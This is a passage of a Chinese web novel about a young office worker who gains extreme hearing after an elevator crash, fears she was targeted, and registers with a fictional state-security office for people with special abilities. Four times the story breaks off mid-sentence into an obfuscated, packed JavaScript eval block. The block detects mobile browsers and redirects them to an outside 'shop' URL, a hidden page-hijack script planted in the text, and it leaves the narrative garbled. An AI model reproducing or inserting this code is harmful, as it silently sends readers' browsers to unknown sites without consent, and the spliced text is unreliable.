练习控制,练习筛选,练习在声音的海洋里保持清醒。 就像学游泳,一开始会呛水,但学会了就能自如游弋。 她重新躺下,闭上眼睛。 这次她不试图屏蔽所有声音,而是尝试“分层”。 把声音按重要性分层:紧急的、重要的、有趣的、无关的…… 楼上的床板声?无关,屏蔽。 隔壁的恐怖片音效?无关,调低。 楼下的戏曲?背景音,保留但不在意。 夜市的嘈杂?背景音。 然后,她开始注意那些“异常”声音。 比如,小区里有没有陌生的脚步声? 有没有人在她门外停留? 有没有……那种平稳得诡异的心跳声? 没有。 至少现在没有。 她稍微安心了一点。 然后,她开始练习更精细的控制。 尝试只听一种声音:楼下大爷的收音机。 只听戏曲,忽略其他。 成功了。 虽然还是会受到干扰,但大部分注意力能集中在戏曲上。 她甚至能听清唱词:“我本是卧龙岗散淡的人……” 练习了半小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191443|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她又累了。 但这次是“练习后”的累,而不是“被折磨”的累。 有区别。 她知道自己在进步。 虽然很慢,虽然很难。 但至少,她在向前走。 窗外的天色渐渐泛白。 凌晨四点多,城市终于安静了一些。 夜市散了,楼上的夫妻睡了,隔壁的恐怖片看完了,楼下大爷的收音机也关了。 世界终于……相对安静了。 杨晓晓在疲惫中沉沉睡去。 这是她能力觉醒后,第一次真正意义上的睡眠。 虽然只睡了三个小时,虽然梦里还是各种声音碎片。 但至少,她睡了。 醒来时,早上七点半。 阳光透过窗帘缝隙照进来。 她坐起来,感觉精神好了很多。 走到窗边,掀开窗帘。 新的一天。 她看着镜子里的自己,深吸一口气。 “杨晓晓,”她说,“不管这是什么,你得学会控制它。” “然后,弄清楚到底发生了什么。” “还有……活下去。” 她洗漱,做早餐,吃饭。 然后打开电脑,开始认真研究。 不再搜“超能力”“变异”,而是搜“听觉异常”“脑损伤后遗症”“神经科学最新研究”。 她看了很多专业论文的摘要,虽然大部分看不懂,但至少知道:目前科学界没有“突然获得超常听力”的案例记录。 要么是她疯了,要么是……科学还没发展到能解释她的程度。 中午,她点了外卖。 等外卖时,她继续“听”周围。 练习控制,练习筛选。 外卖送到时,她已经能把大部分无关声音调成“背景白噪音”,只专注于眼前的事情。 进步。 下午,她决定出去走走。 老憋在家里不行,她会疯的。 她戴上口罩和帽子——不是伪装,是减少“输入”。口罩能过滤一些近距离的人声,帽子能给她一点心理上的安全感。 走在小区里,她刻意控制听力。 不“听”太远,只关注周围十米内的声音。 大妈们聊天:“今天菜价又涨了。” 孩子哭闹:“我要吃冰淇淋!” 保安和住户打招呼:“王叔,遛弯呢?” 这些声音很正常,很生活。 她慢慢走着,慢慢适应。 走到小区门口,她犹豫了一下,还是走了出去。 街上车水马龙,声音更嘈杂了。 但她发现,当声音源太多时,反而容易控制——因为每个声音都不那么突出,可以整体调低音量。 她沿着街道走,路过奶茶店、便利店、理发店…… 听到各种片段:“奶茶要几分糖?”“洗发水用这个牌子的。”“今天特价,买一送一。” 平凡,琐碎,真实。 她忽然觉得,也许她可以这样生活下去? 学会控制能力,把它当成一种……特别的天赋? 然后找个普通工作,过普通生活? 但那个“目标已清除”的声音,像一根刺,扎在她心里。 还有那个平稳得诡异的心跳。 那不是意外。 她知道。 走了一个小时,她累了——不是身体累,是精神累。控制听力需要持续集中注意力,很耗神。 她回家,瘫在沙发上。 晚上,她继续练习。 一天,两天,三天。 她逐渐掌握了一些技巧。 比如,把听力想象成一个“雷达屏幕”,可以调整扫描范围和灵敏度。 比如,给声音打“标签”:重要的标红,有趣的标黄,无关的标灰,然后重点关注红标。 比如,设定“警报词”:听到“枪”“杀”“目标”等词时自动提醒。 虽然这些只是她脑子里的想象,但确实有帮助。 第三天晚上,她坐在窗边,看着城市的灯火。 然后她闭上眼睛,尝试听向……更远的地方。 不是无目的地听,而是有意识地“扫描”。 她听到: 两条街外,烧烤摊老板在抱怨:“今天生意真差。” 三条街外,网吧里一群年轻人在开黑:“推塔推塔!” 四条街外,宾馆前台在打电话:“308退房了,需要打扫。” 五条街外……有点模糊了。 她收回注意力。 然后,她做了一个决定。 明天,她要测试一下极限。 不是距离极限,而是……信息处理极限。 她能同时听多少路声音?能持续多久?能记住多少? 她需要数据。 了解自己的能力,是控制它的第一步。 她躺到床上,准备睡觉。 临睡前,她忽然想起一件事。 从出院到现在,她还没给公司打电话。 她请假三天,今天已经是第四天了。 但李姐没催她。 可能是因为她刚经历“生死劫”,也可能是因为……李姐自己心思已经在跳槽上了。 杨晓晓拿起手机,犹豫了一下,还是给李姐发了条消息: “李姐,我身体还没完全恢复,想再请两天假。下周一回去上班。” 很快,回复来了: “好好休息,工作的事不用担心。(微笑表情)” 果然,很通情达理。 杨晓晓放下手机,闭上眼睛。 下周回去上班。 回到那个让她坠楼的电梯所在的大楼。 回到那个……可能有人想杀她的地方。 她深吸一口气。 “问题不大。”她对自己说。 虽然问题明明很大。 但至少,她开始面对了。 而不是躲在黑暗里恐慌。 这就够了。 她睡着了。 这一次,睡得比较安稳。 4. 那个说“目标清除”的人 第四天早上,杨晓晓是被噩梦惊醒的。 梦里,她又回到了那部下坠的电梯。失重感,撞击声,然后是一个冰冷的声音在耳边重复:“目标已清除……目标已清除……目标已清除……” 她猛地坐起来,浑身冷汗。 窗外天刚蒙蒙亮,清晨五点半。 她靠在床头,喘息着,等心跳平复。 那个声音。 那个冰冷、平静、毫无波澜的声音。 像一把刀子,刻在她记忆里。 “目标已清除。” 清除谁? 她吗? 为什么? 这些问题这几天一直盘旋在她脑子里,但她不敢深想。一想就浑身发冷,像被毒蛇盯上。 但现在,她必须想了。 逃避解决不了问题。 她需要弄清楚,那天晚上到底发生了什么。 是真的电梯老化事故? 还是……有人想让她死? 她起床,洗漱,然后坐到书桌前,打开电脑。 搜索:“深蓝科技电梯坠落事故”。 新闻跳出来,和之前看的一样简短: 《深蓝科技大楼电梯发生故障坠落,一名女性员工受伤送医》 《老旧电梯再发事故,安全警钟长鸣》 《涉事电梯已停用,全面检修进行中》 报道口径一致:电梯老化,钢缆断裂,意外事故。 没有提到任何可疑情况,没有提到“人为破坏”,更没有提到“目标清除”。 评论区的留言也很普通: “老楼电梯该换了。” “伤者没事吧?祝早日康复。” “我们公司电梯也老晃,害怕。” 一切看起来都很正常。 正常的意外事故报道。 但杨晓晓知道,不正常。 她闭上眼睛,努力回忆那晚的细节。 加班到八点半,独自坐电梯下楼。 电梯下降到18楼时,剧烈震动,然后坠落。 坠落过程中,她听到了那个声音。 不是幻觉。 她确定。 因为那个声音的“质感”和其他声音不一样。 其他声音——撞击声、钢铁扭曲声、她的尖叫声——都是混乱的、充满情绪的。 而那个声音,是冰冷的、平稳的、专业的。 像在执行任务后的汇报。 而且,她记得那个心跳声。 在声音传来的方向——楼顶天台,有一个心跳声。 平稳,规律,冷静。 在事故发生后,那个心跳声迅速远离,消失。 这不是一个偶然出现在天台的路人。 这是一个……在那里等待结果的人。 等待“目标清除”的结果。 杨晓晓感到一股寒意从脊椎升起。 她站起来,走到镜子前,盯着镜子里的自己。 24岁,普通长相,普通学历,普通工作。 没得罪过人,没掌握什么秘密,没钱没势。 为什么要杀她? 除非……她的“死”本身不是目的? 或者,她的“活下来”,才是意外? 她想起自己觉醒的能力。 能听到三公里外的声音。 这正常吗? 这不正常。 所以,有没有可能……电梯坠落不是要杀她,而是要“触发”什么? 像某种……激活程序? 然后她意外活下来了,能力觉醒了,成了“计划外”的变量? 所以那个声音说“目标已清除”,意思是“清除程序已执行”? 但清除程序执行了,她却没死,还获得了能力? 所以她现在是个……bug? 需要被修复的bug? 杨晓晓被自己的推理吓到了。 这太像科幻电影了。 非法人体实验,基因改造,超能力觉醒,清除失败品…… 但这能解释一切。 为什么她会突然获得能力。 为什么有人要制造“意外”杀她。 为什么那个声音那么专业。 她走到窗边,看着外面逐渐亮起的天空。 城市开始苏醒,车流声、人声、各种生活的声音涌来。 但现在,这些声音不再让她感到温暖或鲜活。 它们让她感到……暴露。 如果真有一个组织在监视她,那么她现在的一举一动,可能都在对方眼里。 她的能力觉醒,对方知道吗? 如果知道,会怎么做? 继续清除?还是……回收? 她想起电影里的情节:实验体逃跑,组织派人追捕,要么抓回去继续实验,要么就地清除。 她现在是那个逃跑的实验体吗? 杨晓晓感到一阵恐慌。 她需要躲起来。 但能躲到哪里? 出租屋?不安全。 父母家?不能连累他们。 朋友?不能连累朋友。 她一个人,面对一个可能存在的、神秘而强大的组织。 毫无胜算。 除非…… 她忽然想起昨天搜索时,看到的一个词。 “国安局”。 中华人民共和国国家安全部。 负责维护国家安全,处理……一切威胁国家安全的事务。 如果真有一个非法人体实验组织在国内活动,这算不算威胁国家安全? 如果她这个“实验体”去自首,提供线索,算不算立功? 至少……能获得保护? 她走回书桌前,重新搜索“国安局”。 官方网站,庄严的国徽,简洁的界面。 职责包括:“防范、制止和依法惩治危害国家安全和利益的违法犯罪活动”。 她能去那里吗? 跟他们说:“我觉得我是非法人体实验的实验体,现在能听到三公里外的声音,有人想杀我,请保护我”? 他们会信吗? 还是会把她当成精神病关起来? 或者……更糟,如果那个组织已经渗透到国家机关里了呢? 她去了,岂不是自投罗网? 杨晓晓脑子乱成一团。 各种可能性在脑海里打架。 去,还是不去? 躲,还是面对? 她走到镜子前,又一次盯着自己。 镜子里的人脸色苍白,眼神恐惧,但深处还有一丝……倔强。 她想起这三天的练习。 从被声音淹没,到学会控制。 从恐慌崩溃,到开始适应。 她不是那种会轻易放弃的人。 大学时,她数学不好,但为了不挂科,硬是通宵刷题刷到及格。 工作后,被李姐刁难,她一边委屈一边把事做好。 现在,面对这种超自然的困境,她也不会坐以待毙。 “杨晓晓,”她对镜子里的自己说,“你有两个选择。” “第一,继续躲在家里,等他们找上门。结局可能是被清除,或者被回收继续实验。” “第二,主动出击,去国安局。最坏是被当成精神病,但也有可能获得保护,甚至……反击。” 她深吸一口气。 “你选哪个?” 镜子里的她沉默了几秒。 然后,她看到自己的眼神逐渐坚定。 “我选二。” 与其被动等死,不如主动搏一把。 最坏的结果,和躲在家里一样。 但好的结果……可能能活下来,能弄清楚真相,甚至能保护自己。 她需要准备。 首先,整理信息。 她打开一个文档,开始写: 《关于本人异常情况及怀疑遭遇非法实验的报告》 1. 事件概述:2023年10月26日晚,深蓝科技电梯坠落事故,本人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191444|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受伤。 2. 异常表现:事故后获得超常听力,可清晰听到半径约3公里内的声音。 3. 可疑点: - 坠落前听到楼顶有人声:“目标已清除”。 - 该声源心跳平稳专业,事故后迅速撤离。 - 新闻报道统一口径为“电梯老化”,未提任何可疑情况。 4. 个人推测:本人可能为某非法人体实验的实验体,电梯事故为“清除程序”,但本人意外存活并能力觉醒。 5. 请求:请求国安部门调查此事,保护本人安全,并协助弄清真相。 写完后,她读了一遍。 听起来还是很像疯子的胡言乱语。 但她必须试试。 然后,她需要准备证据。 证明她真的有异常能力。 怎么证明? 现场演示? 但万一对方不信,或者……有危险呢? 她想了想,决定录一段视频。 她打开手机录像功能,对准自己。 “今天是2023年10月30日,上午七点。我是杨晓晓,身份证号XXXXXX。以下是我能力的演示。” 她闭上眼睛,开始“听”。 然后对着镜头说: “现在,我能听到:楼上602室,夫妻在吃早餐,丈夫说‘今天的粥有点稀’,妻子说‘下次多放点米’。” “楼下302室,孩子在背课文:‘床前明月光,疑是地上霜’。” “小区门口便利店,老板娘在打电话:‘要一箱可乐,今天下午送’。” “两条街外的幼儿园,老师在点名:‘王小虎……到!李小花……到!’” 她持续说了五分钟,描述她听到的各种声音。 然后停止录像。 这是证据之一。 虽然对方可能会认为她是提前准备好的,但至少能说明她不是完全胡说。 接着,她需要准备……行李? 如果去国安局,可能要待一段时间。 她收拾了一个小背包:几件换洗衣物,洗漱用品,身份证,银行卡,手机充电器。 还有那本《人类简史》——也许用得上,也许只是心理安慰。 收拾完,她坐在床边,等。 等什么? 等勇气。 等决心。 等……时机。 上午九点,她给父母打了个电话。 “妈,我最近工作有点忙,可能这几天不联系你们了,别担心。” “怎么了晓晓?身体还好吗?” “挺好的,就是公司有个项目要赶。” “别太累啊,注意休息。” “知道了妈。” 挂掉电话,她眼睛有点酸。 如果这次出事,至少……不会连累父母。 她深吸一口气,站起来。 该出发了。 她穿上外套,戴上口罩和帽子——不是伪装,是习惯性保护。 背上背包,最后看了一眼这个出租屋。 也许回不来了。 也许回来时,一切都变了。 但无论如何,她得去。 走出门,锁好。 下楼。 小区里,大妈们在晒太阳,孩子们在玩耍,保安在巡逻。 一切如常。 但她的世界,已经天翻地覆。 走出小区,她拦了辆出租车。 “去哪儿?”司机问。 杨晓晓报出那个地址——她在网上查到的国安局办公地点。 司机从后视镜看了她一眼,没说什么。 车子驶入车流。 杨晓晓靠在车窗上,看着外面飞逝的街景。 心里很平静。 也许是绝望后的平静,也许是下定决心后的坦然。 她不知道前路是什么。 但至少,她在向前走。 而不是被动等死。 这就够了。 5. 国安局门口我腿软了 杨晓晓站在那栋灰色大楼前,觉得自己像个准备闯军事禁区的不法分子。 她穿着最普通不过的T恤牛仔裤,外面套了件薄外套——但为了“伪装”,又加了条围巾和一顶棒球帽,把脸遮了大半。十月底的天气其实没那么冷,但她一路走来手心冒汗,后背也湿透了。 一半是紧张,一半是……热的。 大楼比她想象中更不起眼。六层高,外墙是普通的灰色涂料,有些地方已经斑驳。没有招牌,没有标识,只有一个简单的门牌号。要不是昨天查过地图确认了三遍,她绝对会以为自己找错了地方。 门口站着两个卫兵。 不是普通小区的保安大爷,是真正的卫兵——站姿笔挺,目不斜视,手按在腰间的装备上。那气势,让杨晓晓隔着二十米就开始腿软。 她停在马路对面,做了三次深呼吸。 “问题不大……问题不大……” 但问题是,问题真的很大啊! 她一个普通社畜,要去跟国安局说“我觉得我是非法实验体”,这不就跟跑到警察局说“我怀疑自己是通缉犯”一样离谱吗? 万一他们觉得她在恶作剧,把她抓起来怎么办? 万一那个“清除者”就在附近监视,看到她进去,直接灭口怎么办? 万一…… “没有万一!” 她咬牙对自己说,“最坏就是被当成精神病送医院,或者被灭口。反正躲在家里也是等死,不如搏一把。” 搏一把还有可能活,躲着必死无疑——这是她昨晚失眠时得出的结论。 她深吸一口气,迈开腿。 过马路时差点被电动车撞到。 “看着点路啊!”骑手骂骂咧咧地走了。 杨晓晓没心思道歉,她的注意力全在那栋灰色大楼上。 越走越近,卫兵的目光扫过来。 那目光……怎么说呢,不是凶狠,但锐利得像刀子,能把你从里到外剖开看个清楚。杨晓晓感觉自己的伪装毫无意义——围巾、帽子、低头缩肩,在那种目光下都成了可笑的掩饰。 她蹭到岗亭前,声音小得像蚊子哼哼: “我……我找……” 卫兵看了她一眼:“什么事?” 杨晓晓咽了口唾沫,感觉喉咙干得发紧。她准备好的台词在脑子里排练了无数遍,但真要说出口时,舌头却像打了结。 “我……我觉得我可能……是个非法实验体……” 话音落下,她等着对方的反应:嘲笑?质疑?报警?直接把她按倒在地? 但卫兵脸上没什么表情,只是拿起内部电话,低声说了几句: “门口有个年轻女性,自称可能涉及非法实验,要求见面……嗯,对……好。” 放下电话,他对杨晓晓点点头: “进去吧,右手边第一间办公室。” 杨晓晓愣住了。 就……这么简单? 没有盘问,没有核实身份,甚至连身份证都没看? “我……不用登记吗?”她小心翼翼地问。 “里面登记。”卫兵说,然后重新目视前方,不再看她。 杨晓晓犹豫了一秒,还是硬着头皮走进大门。 院子很干净,停着几辆普通的黑色轿车。楼门口还有一道安检——金属探测门,和机场的差不多。 “请把手机、钥匙等金属物品放进篮子。”安检处坐着个中年女人,语气平淡。 杨晓晓乖乖照做。 过安检门时,机器没响。她松了口气——她身上确实没什么金属物品,除了牛仔裤上的拉链和扣子。 “直走,右手边第一间。”中年女人指了指走廊。 走廊铺着浅色地砖,墙壁刷着白漆,天花板是普通的格栅灯。看起来和任何一家普通单位的办公楼没什么区别。 但杨晓晓能“听”到不同。 她能听到楼里有很多人,脚步声、说话声、键盘敲击声、打印机声……但所有这些声音都隔着一层什么,模糊不清。应该是隔音材料,或者特殊的建筑结构。 她按照指示走到第一间办公室门口。 门是开着的。 她探头往里看——普通的办公室,大约三十平米,几张办公桌,靠墙一排文件柜,窗台上放着两盆半死不活的绿萝(国安局也流行养绿萝?)。一个穿着灰夹克、看起来四十多岁、相貌平平的男人坐在靠里的桌子后面,正在看一份文件。 听到动静,他抬了下眼皮。 “进来吧。”他说,声音不高不低,听不出情绪。 杨晓晓走进去,站在办公桌前,手都不知道该往哪放。 “坐。”男人指了指对面的椅子。 杨晓晓坐下,手放在膝盖上,坐得笔直——像小学生见老师。 男人放下文件,打量了她几秒。他的眼睛很普通,但目光平静,没有惊讶,没有怀疑,也没有她想象中的审视或警惕。 就像……就像她只是来办个普通的业务。 “你刚才在门口说,你觉得你可能是非法实验体?”他问。 “是、是的。”杨晓晓声音还有点抖。 “具体说说。” 杨晓晓深吸一口气,开始叙述: 三天前的电梯坠落,醒来后的异常听力,那些涌入脑海的声音,医院里的恐慌,回家后的自我怀疑,还有坠落前听到的那句“目标已清除”…… 她尽量说得有条理,但难免有些语无伦次。说到最后,她几乎是哽咽着问: “您……您觉得我是不是……被做了什么实验?或者……我是什么失败品,所以要被清除?” 男人安静地听完,没有打断。 等她说完,他从抽屉里拿出一叠表格,推到她面前。 “带简历了吗?”他问。 杨晓晓:“……啊?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191445|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“没带的话,先填这个。”他指了指表格,“《特殊能力登记表(试行版V3.2)》。填完我们再聊。” 杨晓晓低头看着那叠表格。 很厚。真的像高考卷那么厚。 封面标题:《特殊能力登记表(试行版V3.2)》。下方小字:中华人民共和国国家安全部特别事务保障局制。 她的脑子又一次宕机了。 特殊能力……登记表? 国安局……有这种表格? “这……这是什么?”她声音发颤。 “字面意思。”男人说,“你不是说你有了异常能力吗?那就按流程走。先登记,再测试评估,然后决定怎么处理。” 他顿了顿,补充道:“顺便说,你不是第一个这么来的。上个月还有个觉得自己会飞的小伙子,填完表去测试,发现只是梦游从床上掉下来时做了个飞行的梦。” 杨晓晓:“……” “上周还有个姑娘,坚称自己能看透人心,测试后发现是她微表情观察能力特别强,加上想象力丰富。” 杨晓晓:“……” “所以。”男人总结,“填表,测试,出结果。真的,我们欢迎。假的,我们也会给你一个科学的解释,然后送你回家。” 他说得那么自然,那么理所当然,仿佛“异能登记”是和“办理身份证”一样普通的行政流程。 杨晓晓混乱的大脑终于开始重新运转。 所以……国家早就知道?有专门机构处理?甚至有一套完整的流程? 她低头看着表格,又抬头看男人。 “您……不觉得我在胡说八道?”她小心翼翼地问。 男人笑了。那是种很温和、甚至有点疲倦的笑,好像见多了她这种反应。 “姑娘,我在这办公室坐了八年。”他说,“见过认为自己是被外星人改造的,见过坚称自己能和动物说话的,也见过真的能把勺子看弯的。你这‘非法实验体’的说法,不算最离奇。” 他指了指表格:“填吧。填完我们聊。” 杨晓晓拿起笔,手还有点抖。 但她知道,这条路,她必须走下去了。 不管前面是什么,总比一个人躲在黑暗里强。 她翻开表格,开始填写。 姓名:杨晓晓。 性别:女。 年龄:24。 …… 填表的时候,她偷偷看了一眼男人胸前的工牌:陈树,特别事务保障局,接待科。 陈树。 这个名字,将会改变她的一生。 而她此刻还不知道,这个看似普通的男人,未来会成为她的导师、引路人,甚至是……家人般的存在。 她只是埋头填表,一笔一画,认真得像在答高考试卷。 窗外的阳光照进来,落在表格上,落在她的手上。 她的手终于不抖了。 6. 登记表比高考卷还厚 表格真的很厚。 杨晓晓翻到最后一页看了下页码:整整十二页,A4纸双面印刷。 内容更是五花八门,从基础信息到能力详情,从心理评估到伦理承诺,事无巨细,包罗万象。 第一部分:基本信息。 这部分还算正常,她刷刷刷填完。 第二部分:能力信息。 从这里开始,画风逐渐变得诡异。 1. 能力首次觉醒时间:______年______月______日 ______时______分 她想了想,写下三天前的日期和大概时间:2023年10月26日,20:40左右。 2. 觉醒时具体情境描述(不少于500字): 她咬着笔头,开始写: “2023年10月26日晚8点40分左右,我在公司加班后乘坐电梯下楼,电梯从22层失控坠落。撞击后昏迷,醒来时发现自己能听到极远距离的声音,包括但不限于医院各病房对话、几条街外的车流、甚至细微的昆虫爬行声。在此之前听力正常。注:坠落前曾听到疑似楼顶有人说‘目标已清除’,声音冷静,事发后该声源迅速离开天台。怀疑此次‘意外’实为针对我的行动。” 写到这里,她停顿了一下。 要不要写那个“非法实验体”的猜测? 她看了看陈树。他正在泡茶,动作不紧不慢。 最后她还是写了:“怀疑自身可能为某非法人体实验的实验体,或因此获得异常能力。” 3. 能力类别(可多选): □感知类 □精神类 □元素类 □体质类 □空间类 □时间类 □概念类 □其他(请说明) 她毫不犹豫地勾了“感知类”。 4. 能力具体表现描述(请尽可能详细): 她想了想,写道: “目前可清晰听到半径约3公里范围内的声音,精度极高,可分辨不同声源和细微声响。无法自主关闭该能力,导致信息过载。可一定程度调控‘监听’方向,但无法完全屏蔽背景音。尝试过听到:隔壁楼夫妻吵架(具体内容)、三条街外外卖员说话、医院地下制冷设备运行声等。” 5. 能力最大有效作用范围:______米/公里 她估算了一下,写下“3-3.5公里”。 6. 能力精度(如适用): 她想了想,写“可分辨具体对话内容,可定位声源大致方位”。 7. 能力持续性(如适用): 她写“持续存在,无法自主关闭”。 8. 能力可控性(请从1-10打分,1为完全不可控,10为完全可控): 她苦笑着写下“3”(勉强能调控方向,但无法关闭)。 9. 已知能力副作用: 她写:“信息过载导致头痛、失眠、注意力难以集中。无法在嘈杂环境中久留。” 10. 是否曾用能力进行过营利性活动?□是 □否(如选是,请详细说明) 她果断勾了“否”。除非“帮同事订到难抢的奶茶”算营利性活动——但那也是为了搞好同事关系,方便工作。 11. 是否曾用能力侵犯他人隐私?□是 □否(如选是,请详细说明) 她犹豫了一下,勾了“否”。虽然无意中听到很多隐私,但她不是故意的,也没有利用这些信息做任何事。 12. 能力觉醒后,饮食偏好是否发生变化? 她写:“没有,依然喜欢奶茶和麻辣香锅。” 13. 睡眠质量是否受影响? “严重受影响,因无法屏蔽夜间噪音。” 14. 是否曾用能力恶作剧或开玩笑? 她想了想,写:“曾无意间听到同事隐私,非主动为之。” 15. 是否因能力产生过心理困扰?(如恐惧、焦虑、抑郁等) 她勾了“是”,补充:“恐惧(担心被当成怪物)、焦虑(信息过载)、失眠。” …… 越往后填,问题越细,有些甚至让她哭笑不得。 比如:“如果能力可关闭,你希望每天关闭多长时间?” 她写:“睡觉时,至少8小时。” “如果能力不可关闭,你希望获得什么辅助设备或训练?” 她写:“隔音设备,或训练如何屏蔽噪音。” “你认为你的能力对社会可能产生什么影响?(正面/负面)” 她想了想,写:“正面:可能用于救援、侦查、情报收集等。负面:可能侵犯隐私,或被滥用。” “你愿意接受能力相关的研究吗?(注:研究将在保障你人身安全和心理健康的前提下进行)” 她犹豫了很久,最后勾了“愿意,但希望提前告知研究内容和风险”。 …… 填到第三部分“心理评估”时,她已经有点麻木了。 这部分全是选择题和简答题,评估她的心理状态、价值观、应对压力的方式等等。 “当得知自己拥有特殊能力时,你的第一反应是?” □兴奋 □恐惧 □困惑 □其他(请说明) 她勾了“恐惧”,补充:“担心自己被当成怪物,或被利用。” “你是否曾因能力而产生过伤害他人或自己的念头?” 她果断勾了“否”。 “如果国家需要你使用能力执行任务,你是否愿意?” 她犹豫了一下,勾了“愿意,但希望任务合法且符合道德”。 “你认为超能力者是否应该接受政府监管?” 她勾了“是,但监管应尊重个人权利”。 …… 第四部分:保密协议和责任承诺书。 她仔细阅读了条款。 保密协议大致内容是:承认特殊能力存在,承诺不私自滥用能力,遵守《超常能力使用管理条例》,接受必要监管和培训,违反者将承担法律责任。 责任承诺书则写着:本人自愿登记,如实填写,愿意配合后续测试评估,接受组织安排。理解能力带来的责任,承诺用于合法、正当的目的。 下面有签字栏和日期。 杨晓晓握着笔,又一次犹豫了。 签了,就等于正式承认自己是个“异常”,进入这个她完全不了解的体系。 不签?那她还能去哪? 她抬头看向陈树。 陈树已经泡好了茶,递给她一杯。 “铁观音,安神的。”他说,“填表累了吧?” 茶杯温热,茶香清淡。 杨晓晓接过,小声说:“谢谢。” 她抿了一口茶,然后拿起笔,在签字栏写下了自己的名字。 字迹有点抖,但很清晰。 杨晓晓。 2023年10月29日。 写完,她把表格推过去。 陈树接过来,快速浏览了一遍。看到“坠落前曾听到疑似楼顶有人说‘目标已清除’”时,他的目光停顿了一下,但没说什么。 看完,他把表格放在一边,喝了口茶。 “大致了解了。”他说,“接下来是能力测试和评估。如果测试结果属实,我们会根据你的情况,提供几个选择。” “什么选择?”杨晓晓问。 “第一,接受监管,定期汇报,可以回家过正常生活,但需要遵守限制条款——比如不能滥用能力窃听他人隐私。” “第二,接受培训,学习控制和使用能力,之后可以从事一些相关工作——当然,是合法的、国家需要的工作。” “第三,”陈树顿了顿,“如果能力特别突出,且你本人愿意,可以加入我们特别事务保障局,成为正式工作人员。” 杨晓晓愣住了。 “工、工作人员?” “嗯。”陈树点头,“五险一金,基本工资加津贴,有食堂宿舍,出差有补助。跟普通公务员差不多,只是工作内容……有点特别。” 杨晓晓脑子又转不过来了。 她来自首,以为会被关起来研究,结果对方在给她介绍工作待遇? “你们……不研究我吗?”她忍不住问。 陈树笑了:“研究当然要研究,但那是研究所的事。我们这里是行动部门,缺的是能干活的活人,不是躺在实验室里的标本。” 他站起来:“走吧,带你去测试。” 杨晓晓跟着他走出办公室,穿过走廊,坐电梯往下。 电梯里,她忍不住问:“陈老师,那张表格……你们真的给每个人都填吗?” “基本都填。”陈树说,“不过有些人填到一半就放弃了,说自己其实是幻觉。有些人填完了,测试发现是假的。真正有能力且愿意登记的,一年也就那么几十个。” “几十个?!”杨晓晓惊讶,“有这么多……特殊能力者?” “中国十四亿人口,出几十个异常者,概率很小了。”陈树平静地说,“而且其中大部分能力都很弱,或者很鸡肋。比如有人能轻微弯曲勺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191446|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,有人能预感第二天会不会下雨——准确率60%,跟看天气预报差不多。” 电梯到了地下三层。 门打开,是一条明亮的白色走廊,两侧有多个房间。 陈树带她走进其中一间。 房间很大,像半个篮球场,四周墙壁和天花板都覆盖着特殊的吸音材料。房间中央有一把椅子,椅子前方几米外有一个可移动的声源装置。 房间一侧是观察窗,窗后似乎有人。 “这是基础测试间。”陈树介绍,“测试你的听力范围、精度、可控性等基础数据。放松,就当是体检。” 杨晓晓看着这个专业的测试环境,心里忽然涌起一种复杂的情绪。 害怕,但也有点……安心? 至少这里的人是专业的,不会把她当成疯子。 至少她不是一个人。 至少,她有希望弄清楚这到底是怎么回事。 她深吸一口气,走向那把椅子。 测试,开始了。 一个穿着白大褂的年轻女孩走进来,手里拿着平板。 “杨晓晓是吧?我是测试员小赵。”女孩笑容亲切,“我们先从最简单的开始。你坐在椅子上,戴好这个耳机。” 耳机是特制的,连接着复杂的设备。 “测试一:听力范围。”小赵说,“我会在外面不同距离播放标准测试音,你听到后,按下手中这个按钮。从最近距离开始。” 测试开始。 杨晓晓戴上耳机,但发现耳机里没有声音——耳机似乎是用来屏蔽外界真实声音,让她专注于测试系统播放的音频。 第一个测试音响起,很近,很清晰。 她按下按钮。 距离逐渐拉远:50米、100米、500米、1公里…… 测试音越来越微弱,但对杨晓晓来说,依然清晰可辨。 小赵的表情从平静到惊讶,最后到难以置信。 “已经超过标准测试范围了……”她对着麦克风说,“要继续吗?” 观察窗后传来声音:“继续,直到她听不到为止。” 